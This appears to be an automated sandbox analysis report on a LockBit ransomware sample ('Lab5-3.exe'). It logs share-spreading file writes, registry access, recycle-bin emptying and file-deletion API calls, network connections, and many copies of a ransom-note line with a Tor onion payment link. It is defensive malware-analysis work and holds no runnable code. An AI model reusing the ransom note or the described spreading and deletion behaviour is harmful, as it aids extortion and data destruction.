Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.4:51267 version: TLS 1.2

Source:	Binary string: D:\T\BuildResults\bin\Release_x64\plug_ins\MakeAccessible.pdb source: MakeAccessible.api.lockbit.27.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\plug_ins\MakeAccessible.pdb< source: MakeAccessible.api.lockbit.27.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\plug_ins\ReadOutLoud.pdb source: Lab5-3.exe, 0000001B.00000003.2122488280.000000001C330000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\sh\odct\1105_210049_0\client\onedrive\Setup\Standalone\exe\obj\i386\OneDriveSetup.pdb source: wctF86A.tmp.lockbit.0.dr

Spreading

Spreads via windows shares (copies files to share folders)

Source: C:\Users\user\Desktop\Lab5-3.exe	File created: Z:\	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: Z:\$RECYCLE.BIN	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: Z:\$RECYCLE.BIN\S-1-5-21-2246122658-3693405117-2476756634-1002	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: Z:\$RECYCLE.BIN\S-1-5-21-2246122658-3693405117-2476756634-1002\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: Z:\
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: Z:\

Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs

Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00410170 NetApiBufferFree,RtlEnterCriticalSection,lstrcmpiW,lstrcmpiW,wsprintfW,wsprintfW,FindFirstFileExW,RtlLeaveCriticalSection,ExitThread,FindClose,wsprintfW,CreateFileW,RtlLeaveCriticalSection,ExitThread,malloc,RtlLeaveCriticalSection,SHEmptyRecycleBinW,GetDiskFreeSpaceExW,SetThreadUILanguage,StrFormatByteSize64A,StrFormatByteSize64A,StrFormatByteSize64A,wsprintfA,CloseHandle,DeleteFileW,ExitThread,	19_2_00410170
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00410530 GetFileAttributesW,SetFileAttributesW,wsprintfW,FindFirstFileExW,FindNextFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,wsprintfW,PathFindExtensionW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,PathAddBackslashW,SetFileAttributesW,FindNextFileW,FindNextFileW,FindClose,	19_2_00410530
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00410170 RtlEnterCriticalSection,lstrcmpiW,lstrcmpiW,wsprintfW,wsprintfW,FindFirstFileExW,RtlLeaveCriticalSection,ExitThread,RtlExitUserThread,FindClose,wsprintfW,CreateFileW,RtlLeaveCriticalSection,ExitThread,malloc,RtlLeaveCriticalSection,SHEmptyRecycleBinW,GetDiskFreeSpaceExW,SetThreadUILanguage,StrFormatByteSize64A,StrFormatByteSize64A,StrFormatByteSize64A,wsprintfA,CloseHandle,DeleteFileW,ExitThread,	27_2_00410170
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00410530 GetFileAttributesW,SetFileAttributesW,wsprintfW,FindFirstFileExW,FindNextFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,wsprintfW,PathFindExtensionW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,PathAddBackslashW,SetFileAttributesW,FindNextFileW,FindNextFileW,FindClose,	27_2_00410530

Source: C:\Users\user\Desktop\Lab5-3.exe	File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\DC\Cache\	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File opened: C:\Documents and Settings\user\Local Settings\Adobe\	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File opened: C:\Documents and Settings\user\Local Settings\	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\DC\	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\DC\SOPHIA\	Jump to behavior

Networking

Found Tor onion address

Source: Lab5-3.exe, 00000000.00000000.1629021077.000000000041B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?
Source: Lab5-3.exe, 00000000.00000000.1629021077.000000000041B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/? Starting IO threads...Unable to bind NOTE file IOCP %S error: %d
Source: Lab5-3.exe, 00000013.00000002.1822737121.000000000041B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?
Source: Lab5-3.exe, 00000013.00000002.1822737121.000000000041B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/? Starting IO threads...Unable to bind NOTE file IOCP %S error: %d
Source: Lab5-3.exe, 00000013.00000000.1764646363.000000000041B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?
Source: Lab5-3.exe, 00000013.00000000.1764646363.000000000041B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/? Starting IO threads...Unable to bind NOTE file IOCP %S error: %d
Source: Lab5-3.exe, 0000001B.00000002.3750630560.000000000041B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?
Source: Lab5-3.exe, 0000001B.00000002.3750630560.000000000041B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/? Starting IO threads...Unable to bind NOTE file IOCP %S error: %d
Source: Lab5-3.exe, 0000001B.00000000.1820658246.000000000041B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?
Source: Lab5-3.exe, 0000001B.00000000.1820658246.000000000041B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/? Starting IO threads...Unable to bind NOTE file IOCP %S error: %d
Source: Lab5-3.exe, 0000001B.00000002.3768778326.0000000000AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Lab5-3.exe, 00000022.00000002.1879653667.000000000041B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?
Source: Lab5-3.exe, 00000022.00000002.1879653667.000000000041B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/? Starting IO threads...Unable to bind NOTE file IOCP %S error: %d
Source: Lab5-3.exe, 00000022.00000000.1853803315.000000000041B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?
Source: Lab5-3.exe, 00000022.00000000.1853803315.000000000041B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/? Starting IO threads...Unable to bind NOTE file IOCP %S error: %d
Source: Lab5-3.exe, 00000028.00000002.3209902730.000000000041B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?
Source: Lab5-3.exe, 00000028.00000002.3209902730.000000000041B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/? Starting IO threads...Unable to bind NOTE file IOCP %S error: %d
Source: Lab5-3.exe, 00000028.00000000.1878107343.000000000041B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?
Source: Lab5-3.exe, 00000028.00000000.1878107343.000000000041B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/? Starting IO threads...Unable to bind NOTE file IOCP %S error: %d
Source: Lab5-3.exe, 00000028.00000002.3215191351.0000000000A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Lab5-3.exe	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?
Source: Lab5-3.exe	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/? Starting IO threads...Unable to bind NOTE file IOCP %S error: %d
Source: Restore-My-Files.txt72.0.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt68.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt111.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt140.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt30.40.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt96.0.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt15.40.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt95.40.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt5.0.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt106.40.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt4.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt133.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt110.40.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt60.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt150.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt61.0.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt120.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt116.0.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt97.40.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt56.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt50.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt36.40.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt100.0.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt108.40.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt135.40.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt192.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt49.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt8.40.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt35.40.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt71.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt174.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt103.0.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt162.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt179.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt52.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt191.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt199.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt123.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt98.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt100.40.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt104.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt61.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt31.40.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt11.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt139.40.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt109.40.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt23.0.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt6.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt11.40.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt51.0.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt101.40.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt73.0.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt64.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt25.40.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt195.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt115.0.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt165.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt68.40.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt67.40.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt73.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt157.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Restore-My-Files.txt33.27.dr	String found in binary or memory: \| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 104.46.162.224
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.106.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.106.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.106.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.106.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.106.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.106.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.106.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.106.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.106.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.106.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.106.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.106.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.106.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.106.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.106.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.106.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.106.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.106.101
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=crNMT2weYCUheMV&MD=zS4FTzTb HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
